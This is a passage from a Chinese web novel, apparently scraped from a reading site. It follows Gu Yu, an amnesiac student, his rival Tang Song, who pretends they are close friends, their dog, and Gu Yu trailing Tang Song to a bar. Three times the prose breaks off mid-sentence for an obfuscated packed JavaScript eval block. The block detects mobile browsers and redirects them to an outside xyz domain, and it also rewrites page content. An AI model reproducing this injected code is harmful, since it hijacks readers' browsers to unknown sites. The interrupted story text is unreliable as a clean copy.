但顾渝很快发现他想错了,唐松的声音也在电话里很远的地方响起:“为什么你把电话还给老子!” 回答他的只有近处更欢快的叫声:“汪汪汪!” 他叹了一口气,索性挂掉电话,可没想到狗叫声竟然还在耳边回荡,好像是从远方传来的。 顾渝抬头一看,只见不远处的黑夜中,有一个人举着手电筒在黑夜里晃晃悠悠地摇着,定睛一看,是一人一狗穿过四周的白菜朝他疾驰而来。 最前方的是一只个头不小的金毛,在手电筒灯光的照射下毛色闪闪发亮,他一抬头,与只顾往前冲刺的勇士的眼神正好对上,金毛见了他不知为何显得特别兴奋,一个前刺挣脱了缰绳,吐着舌头甩开爪子朝他飞奔而来。 后面爆开一个愤怒的声音:“死孩子,你给我停爪!!” 可惜没狗听他讲话,顾渝看着快跑出残影的大家伙离他越来越近,下意识地张开怀抱,下一秒就被口水糊了满脸。 大金毛哈哧哈哧地喘着粗气,欢快地在他怀里打个了滚,耳朵支棱着一晃一晃,顾渝被她屁股一顶,后退两步差点没站住。 而后大金毛挣脱他的怀抱,在原地迅速转了个圈,尾巴摇的飞起,小狗眼睛亮晶晶地盯着他,开口叫了一声:“为什么!” 虽然是狗语,但不知是不是受到唐松那天说的话的影响,这一声叫得前抑后扬,不仔细听好像真是在说“为什么”。 而此刻某位狗主人才姗姗来迟,“啪”地在狗头上一拍:“叫你不要乱接我电话,接完了还随便丢,讲点礼貌好吧!” 而后像才看见顾渝一样:“顾渝?你怎么在外头站着。” 顾渝来不及找纸巾擦掉脸上的口水,一时不敢开口,只能一脸复杂地看着他:“……” 唐松一下乐了,把手电筒往他胸前一照,顾渝脸上亮晶晶地反着光。 “不行,”唐松乐坏了,果然看顾渝吃瘪是他这辈子最大的乐趣,他拿出手机调出摄像头模式本想偷偷拍一张顾渝的丑照,等到顾渝恢复记忆再拿给他看,没想到还没实施,就当场被抓了个正着。 顾渝十分幽怨地看着他,唐松迅速按了几下连拍几张,把手机收回去装作没事人一样:“快走吧,一会儿口水都干了。” 而罪魁祸狗什么也不知道,还试图去蹭顾渝的裤脚以示欢迎。 等唐松开了门,顾渝迅速冲到洗手池下仔仔细细地洗了手和脸,才转头对客厅里给为什么倒狗粮的唐松说:“我还没有钥匙。” “钥匙?”唐松捏着为什么的狗嘴,“诶我给忘了,我等会找找备用钥匙。” 为什么的吃饭的盆非常精致,是粉色的陶瓷狗盆,上面还印了一个白色的小狗爪,往常为什么看到狗粮比看到亲爹妈都激动,倒粮的时候口水就会流出二里地,所以唐松一直要在吃饭之前捏住她的嘴免得她太激动。 可顾渝一出现,她看都没看狗粮一眼,一个激动把狗碗打翻,转身把头一下子插进顾渝的腿间,卡住了。 顾渝,唐松:“……” “为什么,你是个女孩,你能不能矜持一点啊!”唐松不理解。 顾渝看着为什么,为什么也看着他,那种亲昵而熟悉的感觉骗不了人,电光火石之间一人一狗莫名出现了一丝浓厚的羁绊。 狗这种生物,只有对熟悉的人才会立刻表现出亲近,人会撒谎,狗不会撒谎。 狗好,人坏。 顾渝摸着她的狗头,可怜的孩子,一下就认出我来了,可惜你爸想让你变成单亲家庭。 苦了我们父女俩了。 顾渝蹲下,为什么又把头搭在他肩上,热乎乎的毛茸茸蹭过他的脸颊,父女俩抱在一块互相取暖,顾渝给唐松最后一个台阶下:“我和为什么以前真的不认识吗?” 唐松习惯性地回嘴:“你为什么要认识她?” “哦,我们明明是……是好、朋、友,却连你的狗都不认识吗?”顾渝淡淡道。 “当然……”唐松一时哑然,好朋友怎么了,好朋友就得没有秘密亲亲热热,下回是不是没睡过一个被窝顾渝都能挑出他错处了。 只是没等他开口解释,为什么就在顾渝怀里欢快地转起了圈儿。 尾巴都快摇成螺旋桨了。 唐松没眼看了,干脆顺水推舟:“当然……认识了啊!看到没有,她这么想你,我刚才只是在替她打抱不平,因为你这么久都没来看她。” 天知道顾渝身上是不是抹了什么东西,这小丫头立马就胳膊肘往外拐喜新厌旧了,不过现在正好给他一个合适的理由搪塞顾渝,这人虽然脑子暂时短路了,可疑神疑鬼的性格可真是一点没变。 “是么。”顾渝没有戳穿唐松前言不搭后语的谎言,站起身来还是冷冷的样子,“我洗澡去了。” 唐松看着顾渝的背影,心里暗自松了一口气。 爹的,要做这人的好兄弟,还真不容易。 - 为什么吃完狗粮犯困,整只狗趴在唐松给他买的大号狗窝里昏昏欲睡,没一会就打上了呼噜。 夜晚格外的安静,顾渝洗完澡后一直在房间里做题。他从小一路国际学校走过来,语文可以称得上是他最薄弱的地方,幸好顾敛章从小要求他练书法,才让他不至于像他的某些同学一样连字都认不全。 其他学科的记忆复健蒸蒸日上,可是到了语文这里不知为何却突然失灵。 顾渝看着第一道大题,“论述类文本阅读”,这几个字他都懂,文章他也读得懂,可是为什么选择题的题干每个都这么相像,是叫他找不同吗? 他皱着眉试着答了两套题的第一问,一对答案,一个全对,一个全错。 关键是哪个他都不知道是为什么。 顾渝从小到大任何考试都在top1%人生受到了一点莫名的阻碍。 看着云里雾里的参考答案他更是想不懂了,人为什么要用一种更复杂的语言去解释另一种复杂语言? “喂喂喂喂喂。”正当他苦心思考之时,有人在外头敲了敲他的门。 “门没锁。”顾渝看着门锁上的大洞,坐在椅子上意有所指。 唐松倒是完全不搭茬,大喇喇地推开门直接进来,手里拿着扳手,他先是捣鼓了一下窗户的锁扣,边拧边和顾渝说,“我修修窗户,免得你梦游跳出去,我还得出去捞你。还有啊,备用钥匙找不到了,等周末我去配把新的。” 顾渝不明白为什么要等到周末:“你又不上晚自习,回家不是顺手的事情。” “小爷我忙得很好吗,”唐松说,“放学之后我有事。” “你有什么事?” “道上的事你少打听,”唐松做了一个抹脖子的表情,“总之你先跟着我一起回来,然后自己在家待着吧。” “嗯,”顾渝笔尖点在密密麻麻文字的题号上,画了个没什么意义的数学符号,“所以你想和我一起放学?” “我怎么就……”唐松不懂顾渝这什么脑回路,但最后却只是深吸了一口气,咬着牙笑道:“当然了啊,毕竟我们可是形、影、不、离啊。” 顾渝却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883020|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又得寸进尺道:“那你陪我上晚自习。” 这辈子都没好好上过一天晚自习的唐松:“怎么可能?我的意思是,你陪我一起逃掉晚自习。” “我不会逃课的,”顾渝斜斜看他一眼,“你不是还指望着我做状元鬼呢吗。” 唐松一噎。 听起来是很有道理。 “那我们折中好了,”唐松把钥匙往顾渝桌子上一拍,“我把钥匙放到门口脚垫底下,谁先回家谁开门,怎么样?” 顾渝:“不行。” “为什么?” “钥匙被人偷走了怎么办?” “不是,”唐松张开臂膀,叫顾渝环视四周,“你糊涂了吧,这不是你金碧辉煌的老家,你现在住的这个地方,贼进来了估计都会扔两百块钱救济我们。” 顾渝还是坚持:“不行。” “……那就明天中午!午休的时候我去配钥匙好吧。” 顾渝这下不说话了,看样子是还算满意。 ……爹的事儿还挺多。 唐松心里憋气,决心给顾渝找点麻烦,四下一瞅看见顾渝书桌上的语文卷子,一下新奇道:“诶大学霸,你又开始学上语文啦。” 他抄起顾渝的卷子,看着上面的批改痕迹,惊叹道:“你太牛了,100诶,正确率和错误率都是百分之百,牛。” 顾渝伸手去抓卷子:“放下。” 唐松把卷子举高,一只手抓住顾渝抬起的手臂桎梏住他:“我看看怎么了?你之前的语文卷子全校都传阅过,这点算什么……哦,”他慢慢低头靠近顾渝,露出了尖尖的虎牙笑道,“我忘了,你失忆了哦。” “那我得帮你回忆一下,顾大学霸高一第一次月考写的语文命题作文,题目是老师论矛和盾哪个比较坚硬,你猜猜你写了什么?” 顾渝扭开头,避而不答:“我哪知道。” “你通篇论述在不考虑材料和环境的前提下这是不科学的,最后还设计了一个什么动能吸收半径压强的实验,全年级组语文老师都没看懂,以为你是故意想写出什么含沙射影的深意钻研了好几天,最后还是路过的物理老师看明白了。然后老师在班里问你中考语文是怎么拿这么高分的,你说,‘中考的写的是记叙文,不需要论证’。” 顾渝的耳根有些红意漫上来,不知道是因为唐松靠得太近还是因为被说得不好意思,“你少唬我了。” 唐松可太开心了:“自由心证,你爱信不信。来,让哥哥我指导你一下吧。” 顾渝带着半分怀疑半分迷茫地看着他,唐松直接把手指按在题号上:“这个,一看就是数词不对,文章里又没说‘很多’,他这里面自己添加了,所以错了,还有这个……” 唐松一张嘴竟然说了十几分钟,这两套题的每个选项都说了个遍,思路清晰,比参考答案好懂。 “懂了没?”唐松抬起下巴一抬头,发现顾渝没看题,而是正在聚精会神地盯着他的脸看,四目相对的那一瞬间,顾渝的眼神带着一点他说不清道不明的东西,他又起了鸡皮疙瘩。 唐松有点不自在地伸直了腰,人也离顾渝稍远了几分,他一激动在学霸面前班门弄斧,此时后知后觉地不好意思,轻咳了两声,“你别看我考啥都倒数,但哥的语文成绩还是非常权威的。” 写五花八门的检讨练出来的。 顾渝很配合地说:“确实权威。” “切,走了。” 唐松离开了,屋子又里恢复寂静。钟表转动发出钝钝的闷响,顾渝一抬手,圆珠笔从桌子上“啪”地落在地上,打了几个滚停在顾渝的脚边。 一墙之隔的对面唐松哼着莫名其妙的歌,为什么的打呼声透过墙壁,传来模糊的声响,这屋子这边,安静是他人生的常态。 顾渝在椅子上靠着,愣了一会儿神,突然闷笑一声。 透过唐松的记忆窥探到过去的一角,他发现曾经的人生,好像比想象的要鲜活一些。 9. 救命 “松哥,中午一起吃饭吗?”项博明从后门探出头来。 又是一节课课间,刚上完物理课,大部分人都趴在桌子上灵魂出窍,教室里非常安静。 唐松把膝盖顶在桌沿上,打了个大大的哈欠:“你小点声,没看都睡觉呢吗。” 项博明是九班的学生,平日里算是和唐松走得比较近。上次女寝事件的时候,项博明全程跟着,事件结束之后看唐松的眼神变从兄弟直接变成了“过命的兄弟”。这人热血上头容易激动,说话口无遮拦,此时见到顾渝静静坐在唐松旁边,眼睛都瞪大了:“你怎么在这?” 他和唐松关系好,自然就不喜欢顾渝,对他带着点莫名的敌意。 项博明瞪着顾渝:“松哥,这什么情况?” “能有什么情况,”唐松冲着项博明眨了眨眼,示意他待会再说,“你过了我们两班的楚河交界线了啊,赶紧回去,有事中午再说。” “啊?”项博明显然没接收到唐松的信号,发出了一声不小的质疑:“你们俩是能坐一起的关系吗?这对吗?” 顾渝写字的笔尖一顿。 “你先别说话了,”唐松真怕项博明说出什么不该说的话,揪着他的领子把他往外拽,“给我出来。” 等到两个人瞪着眼站在走廊,唐松想解释点什么,但又不知道从哪里说起。 不知为什么,他内心其实不想除了他以外的人知道顾渝的事情。 项博明完全没有意识到唐松有点别扭的情绪,还在输出:“天杀的你跟他搞这么近,那跟蹲监狱有什么区别,每天看着他那张面瘫脸,那不是比西伯利亚大冰原还凉飕飕,他还天天管你,哥们,你受苦了,是我&#@……” 唐松捂住他的嘴含糊道:“老师安排的,我有什么办法。” 项博明更生气了:“我知道你不好意思跟你们老师说,不然我去说!你水深火热,我的心也痛啊。” “你消停点吧,”唐松赶忙喊住他,随便找了个理由搪塞,“我是谁?我还能怕了他了,主要他好学生,还脆弱,现在马上高考了,要是考不好试赖上我怎么办。我们现在就是井水不犯河水而已。” 项博明眨了眨眼睛,像是在思考。过了十几秒钟,他恍然大悟般道:“原来是这样啊!那你做得对,耽误人家学习是不好,还是你格局大!” 看着项博明立马就向他投来全面信任的眼神,唐松在心里不住点头,对,这才是好兄弟嘛。 “对了,还有一件事我刚想问你呢。那这么说来顾渝脸上的伤不是你搞的啊,我还以为是你揍的呢?” “……这个,”想起此事的前因后果,唐松忍痛把他一笔辉煌的业绩抹除掉,“可能是他自己不小心摔的吧。” 他有些心虚,没想到项博明一拍脑门,“他这么笨呐!” 唐松:“……” 打发了项博明,唐松开了门准备回班,项博明在后面把头伸进门里,突然来了一句:“姓顾的你可别搞什么小动作,你敢因为以前那些事欺负我兄弟,别怪我搞你。松哥中午一起吃饭别忘了。” 顾渝暗自笑他幼稚,故意当着他的面提醒唐松说:“答应我的事情,你中午也别忘了。” 项博明耳朵支棱起来:“啥?你俩有啥事情要背着我?” “你快走吧,”唐松把项博明脑袋推出去,“中午一起吃饭,快走吧!” 项博明甩着膀子走了,顾渝放下笔:“他刚才说,以前的什么事?” “都是误会,”唐松随口捏了个谎话出来,“项博明跟你一直是学习上有力的竞争对手,所以他……他嫉妒你和我走得太近,一直试图把我们俩拆散!” 说者无意听者有心,顾渝一下了然。 他想到表姐拉他看的肥皂剧里那种一个情节拉扯八百个来回的流水线剧情。 一般这种故事的高潮部分,女主角的闺蜜,男主角的兄弟,肯定有一个会成为纯恨战士,用恨铁不成钢的眼睛看着又纠缠到一块的猪脚说着。 “我真不知道该说你什么好了!” “你们怎么还在一块,这对吗??”之类的话。 看项博明的反应,自己扮演的,应该就是那个当之无愧的“渣男”角色。 不过顾渝也不能完全确定,毕竟看唐松的反应,绝对有什么害怕让自己知道的事情在瞒着他。 而这件事,应该就是唐松撒谎骗他说什么“好兄弟”的关键。 顾渝面色复杂。这么一想,他们两个,还真是塑料情侣。 两人同桌异梦,唐松也在思索着,几乎所有的同学都知道他们关系不好,只要顾渝稍微一打听估计就会露馅。到时候争端爆发,他还成了不占理的那一个。 他没想过这个谎言能维持太久,其他人说漏嘴,顾渝自己想通或者有一天突然恢复记忆,这都是不确定因素。 所以一定要趁着顾渝还什么都不知道的时候,借着“好兄弟”的名义多做一些让顾渝不爽的事情,手里多抓住他几个把柄才是正道。 唐松悄悄环顾四周,发现无人注意,便打开手机,调出那张昨天拍的顾渝的丑照,想着验收一下自己第一个战利品。 画面里顾渝被手电筒的光线刺激得微眯上眼,眉眼深邃而沉静,身形修长,伸出来挡光线的手骨节分明,校服一丝不苟的穿在身上,只有头发微微翘起,看着还像是精心打理过一样。 唐松凝滞了。 你说这张宛若明星写真集的东西是他拍的顾渝的丑、照、吗? 唐松不敢相信。他又往下翻了几页,无一例外,全部堪比精修,甚至那天他在巷子痛哭流涕的场面,现在看起来也像是金狗奖影帝获得者的高光影视片段回放。 这小子原来长这么帅吗?唐松大脑有一瞬间的空白,顾渝的脸其实在他脑海里拼凑不起来,五官乱飞,他好像从未留意过这些,于是扭头看向坐在旁边的顾渝的侧脸。 鼻梁高挺,睫毛很长,嘴唇也很饱满,好像……还真有几分姿色? ……虽然比他还差那么亿点点。 他看得有些忘我,没注意到顾渝察觉到他的视线,也同样从卷子上抬起头来看他。 接着顾渝眼珠往下一转,视线落到了唐松的手上,手机上,手机上的照片上。 而后意味深长地看了他一眼。 唐松:“不,你听我解释……” 顾渝:“什么意思。” 唐松:“我说是误触你相信吗?” 顾渝:“我是说,我本人在这,你还要看照片干什么?” 唐松:“……什么意思?” * 总之想来想去,除了一个不能考公其他地方都挺酷的纹身之外,他发现自己好像还没有抓住顾渝的任何实质性把柄。 中午吃饭的时候唐松忍不住问项博明:“你说,你要是讨厌一个人还不能明面上揍他的话,你会怎么做?” 项博明理所当然道:“当然是恶心他啊。” “哦?”唐松搁下筷子,“愿闻其详。” 项博明去唐松盘子里夹肉吃:“他讨厌什么事情,你就做什么呗。要是他讨厌虫子,你就往他书包里塞虫子,吓他一跳。” 唐松打掉他的筷子,无语了:“你是小学生吗?” 项博明没听懂:“啥意思?但是松哥,你不是说你不搞顾渝了吗。” “谁说我要搞他了?”唐松嘴上反驳,心里却立马有了想法,项博明其实说的未尝不在理,做顾渝讨厌的事情,这可太简单了。 下午第一节是体育课,人员分散没有外人,正好是戏耍顾渝的大好时机。 可是队伍刚一解散,体委就把唐松拉住了。他在篮球场打了一把三对三,却怎么也进不了状态,心里有事,不做不行。 “今天不在状态啊松子!”体委魏子平在远处喊他,“抢板啊!” “刚才卡人了啊!” 唐松拿着毛巾擦了擦头上的汗,摆摆手招呼赵棠:“我不行了,棠姐你快替我一下。” 赵棠坐在篮球架旁边举起胳膊朝他比了个“OK”的姿势,旁边魏子平不干了:“我不跟你打!” 可赵棠已经脱掉外套上场了,撸起袖子叉着腰:“咋,你性别歧视啊。” “靠你说的是人话吗,”魏子平抱着球耍赖,“你一职业的干我们业余的,每次跟你打完我第二天都肌肉拉伤。” “没关系,肌肉拉伤是方法不对,我教你拉伸啊!”某省级青训队兼国家二级运动员赵棠同学如是说。 魏子平想到之前赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883021|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠跟他一起拉伸肌肉那酸爽的感觉,这辈子不想再体会第二次,哀嚎着把球扔给赵棠,开始被拉练。 唐松下了场在水池旁边随便冲了下头,用校服外套随便擦了擦,开始寻找顾渝。 操场上找了一圈,晃荡到班里也找了一圈,都没发现顾渝的身影,跑了这一圈,又是满头大汗。 算算时间也马上要下课了,他索性爬上学校主席台,四下一望,视线定格在对面观众席的座位正中低着头看书的身影。 秋风不燥,吹过他的发梢,背脊立得挺直,露出一个白净的脸庞,正是顾渝。 他什么时候坐在那的? 唐松跳下主席台,横跨整个操场飞奔起来,视线黏在顾渝身上,生怕他跑了。 手臂一撑翻过栏杆,唐松三步并作两步跨上台阶闪现到顾渝身边。 ——原来不是看书,顾渝手里拿了一本练习册正在做题,书页被风吹得哗啦啦响,做选择题的速度比他蒙的还快。 唐松气息还没喘匀,摊到椅子上仰头望着蓝天白云:“我去,你也太用功了吧,体育课还学习。” 顾渝好像早发现他会过来一样,没什么反应。 “喂,”唐松被他无所谓的反应刺激到了,立马开始实施他和项博明共同商议的大计:“好兄弟,我跟你说件事。” 顾渝头也不抬:“什么事。” “你是有洁癖的对吧。” 顾渝眼睛仍旧停留在书上:“怎么了?” 唐松轻咳了一声,接着露出一个势在必得的笑容,一字一句清晰地道:“但是我,昨晚上不小心用错你牙杯了诶。” 好家伙,多么突如其来的冲击,多么妙的巧思,这不得把顾渝恶心坏了,连缓冲的时间都没有。 到时候他只要说他不是故意的,顾渝碍在他们俩的关系上,也只能忍气吞声。 果然,顾渝笔一顿,终于抬起头来,神色明显有些意外。 唐松被他的反应满足了,心里得意起来,看来还是这种招数有效,这简直是对洁癖的致命一击! 他再接再厉:“至于牙刷嘛……”接着露出一个耐人寻味的表情,不继续说了。 留白,给人以无限的想象空间! 顾渝就这么看着他,唐松甚至从他的脸上看到了一种名为无语的新鲜情绪,像想开口,却又忍住了,但又真的忍不住,还是问道:“你是故意的吗?” “怎么会呢,”唐松笑得贼兮兮,莫名带着股欠揍的味道,“我当然是不小心的,我知道,你有洁癖嘛。” 顾渝眼神闪烁:“你没关系吗?” 唐松趁机凑过去,把手臂搭在顾渝的肩上:“我当然没关系啊,倒是你……” 话还没说完,只听“咣当”一声响,是什么重物落在凳子上的声音。唐松顺着声音向后看去,秦云鹤不知什么时候出现在后排的座位,此时嘴巴长大,一副受到剧烈惊吓的样子。 两道目光一下子聚集在他身上。 秦云鹤从后面的座位上探出脑袋,他只是低头时间太久颈椎痛所以趴在座位上写题,没想到得知了他们班校霸和学神的惊天秘密,嘴唇颤抖着出声。 “我……我什么都没听到,我不知道你们表面上……但背地里却已经……我真的不知道,不要把我灭口。” 他抄起座位上的有线耳机塞到耳朵里,闭上了眼睛:“你们说你们的,我放音乐呢,重金属那种,一个字都听不到。” 顾渝温馨提示:“你耳机线没插。” 唐松:“……” 尴尬地不知道说什么好:“那个,你们一个个的原来都这么努力学习啊。” 救命。 谁能救救他。 他“腾”地从椅子上弹起来,动作僵硬地转头就走,顾渝发现,他脖子耳朵下方红了一大片。 真是可爱。 顾渝从身后叫住他:“等等。” 唐松头也不敢回:“什么事。” “把家里钥匙给我。” 唐松后槽牙都快咬碎了:……故意的,绝对是故意的。这家伙性格还是那么恶劣。 唐松手忙脚乱,从裤兜里胡乱找了一通,把刚配好的钥匙丢给顾渝,在秦云鹤迷茫又带着点钦佩的眼神中落荒而逃。 10. 跟踪 “所以说,”秦云鹤把没插线的耳机摘下来,虽然知道自己不该问,但是止不住那一颗好奇的心,“他昨天晚上……真用了你的牙杯刷牙?” “不是,”他挠挠头,大脑宕机,胡言乱语起来,“大佬,为什么你的牙杯会在晚上出现在,额,松哥家啊,你借给他用了吗。” 话一出口,秦云鹤恨不得扇自己两个嘴巴子。 顾渝沉默了几秒:“嗯。做题吧。” “啊?哦哦,好。” 秦云鹤审时度势,又缩回座椅下面,刚拿起笔,顾渝的声音从前方传来,很轻,但刚好是他能听到的程度:“麻烦你,先别告诉别人。” 不知为何,秦云鹤从他淡淡的语气里听出一丝恳求的意味。 秦云鹤彻底学不下去了。 受父母的影响,他从小就能凭借他超高的情商获得大部分家长老师同学的喜爱,察言观色一流,脑子里自然地浮现出顾渝脸上嘴上突然出现的伤、唐松说的牙杯,还有……家里的钥匙。 种种线索都明确地指向一个答案,不过这反而让他更加迷惑了。 他俩不是死对头吗?! 唐松觉得自己已经无脸再见父老乡亲,一个下午都窝在座位上,校服盖在脑袋上,一副拒绝与任何人沟通的模样。 项博明来过一趟,看在趴在桌子上活人微死的唐松,对顾渝怒目而视:“你是不是又欺负我兄弟了!” 顾渝敏感地察觉到项博明口中的这个“又”字,扣起食指敲了敲唐松的桌面:“我欺负你了吗?” 校服下的不明圆形物体动了动,桌子底下伸出两个中指,左手一个,右手一个,闷闷的声音带着点气急败坏:“滚!” 一个课间去了三次厕所但还是没躲过这一切的秦云鹤在前排闭上了眼睛,又捂住了耳朵。 不敢听,不敢看。 这种状态一直持续到了放学,下课铃一响,唐松把书包一拎,以百米冲刺的速度离开校园——这个让他拥有太多不美好回忆的是非之地。 饭也没胃口吃了,走出校园唐松才稍微放松一些,穿过繁华的福瑞路商街,在大街小巷里拐几个弯,抄近路走进了居民区。 这附近很安静,没有什么人,但人一安静脑子就会放空,放空之后就大脑就会突然塞进一些尴尬的场景。 于是在安静的居民区的小巷子,穿着校服的少年在一条小路上左拐右拐地扭了不知几个来回,外套被甩来甩去,一会儿锤墙一会儿拔草,一会又仰头大喊:“苍天啊,作孽啊!” “他是不是故意的啊!” “他绝对是故意的吧!” “我没有!谁会用他的牙杯啊!” 唐松抓住墙壁缝隙里的杂草绝望地锤头:“别想了别想了别想了……” 没锤两下,眼角余光里突然多了一个身影,那人静静地立在后面,不知道已经停留了多久了。 唐松一下僵住了:“顾渝,你什么时候在后面的。” 顾渝嘴角微微弯起,虽然勾起的弧度并不明显,但还是被唐松敏锐地察觉到了:“从那句‘苍天啊大地啊’开始。” 那不是就是从一开始吗?! 唐松抓狂了:“不是,你为什么会在这里啊!你不是该在学校里吗?你跟踪我?” 顾渝说:“我回家。” 唐松狐疑:“你不是说你不逃晚自习的吗?” “有东西落在家里,回来拿。” 他不信,继续追问:“什么东西?” 顾渝撩起眼皮看了他一眼:“这跟你无关吧。” 唐松一噎,他“哼”了一声,外套一甩又挂到肩上:“谁愿意管你啊。” 二人一前一后相对无言,唐松无名火窜上心头,这就是他对好兄弟说话的方式? 他在心底暗戳戳地想,难道是今天说的话刺激真的刺激到顾渝了,所以他生气了? 气到顾渝,那他应该高兴才对啊! 烦死了。唐松气不打一处来。 一直到回家,二人也没再说过一句话,为什么摇着尾巴站在门口不知道等了多久,可唐松只是敷衍地撸了两把,连她翻过来的肚皮都没有理会,一头扎进房间里。 没过一会,他出来了,衣服已经换成了常服,手里拿着两个装饲料用的袋子,换鞋就要出门。 顾渝还站在门口:“你去哪?” “关你什么事!”好像是报复一样,唐松看都没看他一眼,“嘭”地把门一关,剩下顾渝和为什么相顾无言。 一大一小沉默良久,顾渝蹲下来,捧住为什么的头:“小狗,他去干什么了?” 为什么:“嗷呜?” 顾渝“哦”了一声:“嗯,你也不知道?他的秘密也没有告诉你吗?” 为什么:“嗷呜……” 为什么一副非常委屈的样子,眼睛耳朵都耷拉下来,不明白唐松为什么没使劲儿摸她,顾渝好像知道她的意思了:“没关系,不是你的错,是他好像又在生我的气了。” 为什么:“汪!” 顾渝:“你说你想知道他去干什么了?” 为什么:“汪汪!” “哦,你说你想知道他为什么骗我?” 为什么:“汪汪汪!” “你说因为他有事瞒着我?” 为什么:“汪汪汪汪!” 顾渝赞同地点了点头,摸了摸为什么的头:“好吧,那我就勉为其难替你去看看。” 说罢便自顾自背上书包起身出门,为什么以为顾渝要带她出去遛弯,开心极了,门刚开就抬爪子要冲出去,却被顾渝一只腿挡得严严实实,撞了个结实。 她不解地抬头看向顾渝,顾渝还是那副表情,摇摇头道:“你不能去,你得看家。” 为什么躺倒翻开肚皮耍赖:“嗷嗷嗷!”凭什么! 顾渝已经毫不留情地把门关上了。 他确实是想知道,唐松到底有什么事情瞒着他。从唐松对他的半真半假的态度来看,明面上问他的话,唐松根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883022|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会说,顾渝只能采取一些暗地里的措施。 比如跟踪。 虽然非常不体面,但是顾渝很快说服自己,这都是为了他能够尽快恢复记忆,以及他们二人关系的和谐着想。 他出了门,黄昏已至,天边染着一层浅橘色,恰好唐松在路口处和一位中年大叔聊天,并没有走远。 顾渝躲在废弃汽车后面,望着唐松对着那人露出眉飞色舞地说着什么。 接着两人开始大笑起来,大叔在他肩膀上拍了拍,唐松挥了挥手离开了。 棚户区的人员构成十分杂乱,正好到了下班的时间,打工仔上班族和老人多了起来,三三俩俩坐在街边的小吃摊和餐馆。 有的拎着菜回家烧饭,看见唐松叫他“松子”,还把口袋里的吃的硬塞给他,一路上唐松和不少人打了招呼,手上多了好几个沉甸甸的塑料口袋。 走出棚户区,地面开始变得平整,街边一下宽敞亮堂起来,唐松插着兜,一路不紧不慢地朝着市区的方向去了。 顾渝落后唐松半米距离,穿过熙熙攘攘的人群与广场上跳舞的老年人;骑车上晚自习的学生飞快掠过。 有一些时候,他躲在人流中,路灯下他们的影子差一点交叠,只要回头就会立马被发现。 但唐松一直没有回过头来,他只是不紧不慢地走着,最后进了市区有名的夜市街区。 唐松的身影最终从酒吧街拐角处的小门一闪而过,顾渝看见他进去的时候还朝门口的安保点了点头,看样子并不是第一次来了。 顾渝抬头一看,黑底白字,牌匾不大,门也不宽,四个英文字母“RUST”亮着,门口聚集的人不少,顾渝从他们的谈话里隐约听到“酒吧”二字。 一个高中生,来这种看起来就不太正规的酒吧干什么? 顾渝想到昨天晚上唐松跟他说的话,心里有些不安。 他这个男朋友,好像真的有一些不可告人的秘密。 他刚想着跟进去看看,走到门口,靠着墙的安保一下支棱起来了,上下打量顾渝一眼,厚重的身体侧身把门一堵:“未成年不让进啊。” 顾渝问:“为什么刚才那个人可以进?” “刚才那个?”安保思索一瞬,“你认识他啊?他成年了,可以进。” 顾渝从书包里拿出身份证递给他,指着上面的生年月日给安保看:“我也成年了。” 安保凑近眯着眼一看,顾渝,十八岁,真成年了,看不出来。 但他还是摇摇头,摆摆手赶人:“不行,你穿着校服呢,还是高中生吧,高中生不行。” 顾渝站在原地没动,二人大眼对小眼,安保撸起袖子道:“怎么?” “他这可不是校服,”僵持之际,一道沙哑低缓的女声从身后传来,接着顾渝肩上一重。 鼻尖瞬时盈满了雪松与烟草混合的香水味,一位比他还高出一点的波浪卷大红唇的冷艳女子把小臂轻轻压在他肩上,笑意盈盈地说,“又见面了啊,小少爷。” 11. 酒吧 顾渝眉头轻轻皱了一下,向左一步巧妙地挣脱女人搭在他肩膀上的手臂:“您认识我吗?” 可女人没有回答她,被顾渝挣脱也并不恼怒,只是对安保道:“这不是校服哦~” 安保诧异:“那是什么?” 女人冲他眨了眨眼:“这是我卡座的,今天cos局,我叫他cosplay学生来着。” 纯洁的小顾瞳孔微不可察地缩了一下。 “嗨,您早说啊,”安保恍然大悟地笑了,看顾渝的眼神一下子变了:“我们这很开放的,绝对尊重你的小众爱好,进来吧进来吧。” 顾渝刚想向她道谢,可女人却不知什么时候已经离开了,他环顾一周也没有发现她的身影,仿佛刚才发生的一切都只是错觉。 这个人认识他,那是不是可以说明,他以前也来过这个地方? 和唐松……一起吗? 安保问他:“诶这位coser,你不进去吗?” 顾渝只好把内心的疑惑暂时搁置,进门走过长廊,重低音锤子一样砸在地板上,连长廊都在微微震动。 推开门,轰隆隆的音乐声与鼓声震天,男男女女交叠的身影在飞舞的灯光下闪烁着。 他身着校服,像一个异类一样穿梭在人群中,各种各样的视线落在他身上又轻飘飘地收回去。 